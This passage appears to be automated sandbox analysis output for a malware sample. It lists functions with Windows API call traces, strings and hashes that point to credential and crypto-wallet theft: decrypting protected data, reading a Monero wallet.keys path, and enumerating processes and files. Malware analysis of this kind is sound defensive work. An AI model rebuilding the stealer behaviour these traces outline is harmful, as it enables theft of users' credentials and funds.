Instruction Fuzzy Hash: DFB2F5F3A0C2049FE304AE29EC8577AF7E5EF94720F1A493DEAC483744EA3558058697

Function 00BCE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00BE0D73), ref: 00BCE4A2
StrCmpCA.SHLWAPI(?,00BE14F8), ref: 00BCE4F2
StrCmpCA.SHLWAPI(?,00BE14FC), ref: 00BCE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00BCEBDF

Strings

\*.*, xrefs: 00BCE44D

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: abdaf73f85e09fd795d7355d25d10c24a8347fdb7c5701a1531037470b40a0c0
Instruction ID: 440e8f189655a46c64bc6f31dc3f31f2ae6653caf230190287236122e55e4527
Opcode Fuzzy Hash: abdaf73f85e09fd795d7355d25d10c24a8347fdb7c5701a1531037470b40a0c0
Instruction Fuzzy Hash: 121253719101189ADB14FB60DCA6EEDB3B8AF54300F4045EAB50AA2291FF356F49CF96

Function 00F8B98F Relevance: 8.6, Strings: 6, Instructions: 1107COMMON

Download Yara Rule

Strings

L~/, xrefs: 00F8C06D
+Q-o, xrefs: 00F8BB69
/ X, xrefs: 00F8BC1A
!L:, xrefs: 00F8C280
XJ{, xrefs: 00F8C1C7
prW7, xrefs: 00F8C0A7

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !L:$+Q-o$L~/$XJ{$prW7$/ X
API String ID: 0-1845434315
Opcode ID: 939cb30bcca18f939fef13bb9b53650a183bf6d1f137a5cc6350e90673ba04e6
Instruction ID: 7a1b5e73110b89a2780a7953abb57e609f9fcc263000b1469fc44004af333ad4
Opcode Fuzzy Hash: 939cb30bcca18f939fef13bb9b53650a183bf6d1f137a5cc6350e90673ba04e6
Instruction Fuzzy Hash: 5B7207F360C2049FE3046E2DEC8567AF7E9EF94720F1A863DE6C483744EA3558458796

Function 00F7F904 Relevance: 7.9, Strings: 5, Instructions: 1663COMMON

Download Yara Rule

Strings

y1S;, xrefs: 00F7FB78
tq}w, xrefs: 00F80BAF
fj, xrefs: 00F808BB
z7, xrefs: 00F8005E
E;O, xrefs: 00F80289

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E;O$fj$z7$tq}w$y1S;
API String ID: 0-1170751594
Opcode ID: ddd43219d8a78af3428973c6227ddd66196aeb18dd10d1e48549b2065b5fbff8
Instruction ID: 4896fdff101c6fe55e7218141ca04db78263a3d5e08105b23fbc47bde1cd01d3
Opcode Fuzzy Hash: ddd43219d8a78af3428973c6227ddd66196aeb18dd10d1e48549b2065b5fbff8
Instruction Fuzzy Hash: 9EB22AF3A082149FE304AE2DDC8566AF7E9EF94720F1A493DE6C4C3744EA3598058697

Function 00F814E9 Relevance: 7.8, Strings: 5, Instructions: 1597COMMON

Download Yara Rule

Strings

OW_~, xrefs: 00F81759
zl_m, xrefs: 00F822D7
2Ok, xrefs: 00F8204D
E_sw, xrefs: 00F826BF
Y[e\, xrefs: 00F81EE8

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2Ok$E_sw$OW_~$Y[e\$zl_m
API String ID: 0-4047140572
Opcode ID: bd63c1ef630c6262ff9454d3bb8680bb82d722d513300b9e8fb2cf6cd5b2ade2
Instruction ID: aacd9f3968a6da0779c746db9e80ced586dd0c7d3943513a7f0c43b12a31ad91
Opcode Fuzzy Hash: bd63c1ef630c6262ff9454d3bb8680bb82d722d513300b9e8fb2cf6cd5b2ade2
Instruction Fuzzy Hash: 29B206F360C6049FE3086E2DEC8567ABBEAEF94320F1A493DE6C5C7344EA3558058657

Function 00BCC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00BCC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00BCC87C
lstrcat.KERNEL32(?,00BE0B46), ref: 00BCC943
lstrcat.KERNEL32(?,00BE0B47), ref: 00BCC957
lstrcat.KERNEL32(?,00BE0B4E), ref: 00BCC978

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 7e5a16bf4e08379e2945133fc09bdfa78468b861461bbda67c5371aaa6640d3a
Instruction ID: e0684b0294fb69e0f279ee2d7f22d9a8e473853ef656a4826edd4e328c390761
Opcode Fuzzy Hash: 7e5a16bf4e08379e2945133fc09bdfa78468b861461bbda67c5371aaa6640d3a
Instruction Fuzzy Hash: 21415E7590421EDFDB10DFA0DD89BFEBBB8BB48304F1441A8E509A6280D7B55A84CF92

Function 00BC7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00BC724D
RtlAllocateHeap.NTDLL(00000000), ref: 00BC7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00BC7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00BC72A4
LocalFree.KERNEL32(?), ref: 00BC72AE

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: b94fd1ada8fb7d55bf1b960e1dd086852abb2ba87e235f6cac0867afe5f5bf75
Instruction ID: db07927a8f5f6402e8eb23192a2c4f10936d5e10342b905cad42772fc4f797d8
Opcode Fuzzy Hash: b94fd1ada8fb7d55bf1b960e1dd086852abb2ba87e235f6cac0867afe5f5bf75
Instruction Fuzzy Hash: 27014071A40308BFEB14DBD4CD49F9D77B8EB44700F148058FB05BA2C0CAB1AA448B65

Function 00BD9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BD961E
Process32First.KERNEL32(00BE0ACA,00000128), ref: 00BD9632
Process32Next.KERNEL32(00BE0ACA,00000128), ref: 00BD9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00BD965C
CloseHandle.KERNEL32(00BE0ACA), ref: 00BD967A

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c6d576489be61294f14666172ae6929fceba1117ee9deefc7de74a95928f1d84
Instruction ID: dedd8fed2497fd529b0998a9b929dfa9882230ad8c2cf3dacfd85ceaa4a62269
Opcode Fuzzy Hash: c6d576489be61294f14666172ae6929fceba1117ee9deefc7de74a95928f1d84
Instruction Fuzzy Hash: 6E01E975A00208AFDB14DFA5C988BEDB7F8EB48700F148199A905A6240E7759A84CF51

Function 00F7A999 Relevance: 6.6, Strings: 4, Instructions: 1607COMMON

Download Yara Rule

Strings

4w,, xrefs: 00F7B777
kz, xrefs: 00F7AFC9
.T<O, xrefs: 00F7B5C0
#)r, xrefs: 00F7AE0A

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #)r$.T<O$4w,$kz
API String ID: 0-4195102005
Opcode ID: cd554acc4e5604051a7080d3ff0d288fa7c97e42eeb479feb215166064da22a8
Instruction ID: fdee92c980fd0e8bb6cba50b291c8b638a671ab587bc9d1046836a4bf6919c63
Opcode Fuzzy Hash: cd554acc4e5604051a7080d3ff0d288fa7c97e42eeb479feb215166064da22a8
Instruction Fuzzy Hash: 0FB205F360C204AFE3046E2DEC8567AFBE9EF94720F1A493DEAC483744E63558458697

Function 00BD8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00BE05B7), ref: 00BD86CA
Process32First.KERNEL32(?,00000128), ref: 00BD86DE
Process32Next.KERNEL32(?,00000128), ref: 00BD86F3

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

CloseHandle.KERNEL32(?), ref: 00BD8761

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 025ce30b116498f3555451225bc9e2bf912ca8ac83244745ec40117e399acc82
Instruction ID: c92870f69fa8995d5b87a724b43aa4b80f3e7e1d9fc07e641a09be7f5a11014a
Opcode Fuzzy Hash: 025ce30b116498f3555451225bc9e2bf912ca8ac83244745ec40117e399acc82
Instruction Fuzzy Hash: 65316F71901258ABCB24DF51CC85FEEF7B8EB44700F1041EAE509B22A0EB716E45CFA1

Function 00BD8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00BC5184,40000001,00000000,00000000,?,00BC5184), ref: 00BD8EC0

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: be958b89e510f6498b28fd65db7c0b4e6f457c8ac2ce79bafb82fc99c8c4d505
Instruction ID: 437a2de6a1195ebcea097bce7bad99ad3747a0b975da55e5050ab0be4365887f
Opcode Fuzzy Hash: be958b89e510f6498b28fd65db7c0b4e6f457c8ac2ce79bafb82fc99c8c4d505
Instruction Fuzzy Hash: B2110A74200208BFDB04CF65E884FA673EAEF89301F149999F915CB350EB35E881DB60

Function 00BC9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BC4EEE,00000000,00000000), ref: 00BC9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00BC4EEE,00000000,?), ref: 00BC9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BC4EEE,00000000,00000000), ref: 00BC9B2A
LocalFree.KERNEL32(?,?,?,?,00BC4EEE,00000000,?), ref: 00BC9B3F

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: d7f522eb6cc3c7f8461a0d6f2245c6eab71b7af6eb9db060d7a14d70935f141e
Instruction ID: 938fa81a2e110d6ef159e16541687762bf1e40e34a1c1f8533c1f6ff47c11806
Opcode Fuzzy Hash: d7f522eb6cc3c7f8461a0d6f2245c6eab71b7af6eb9db060d7a14d70935f141e
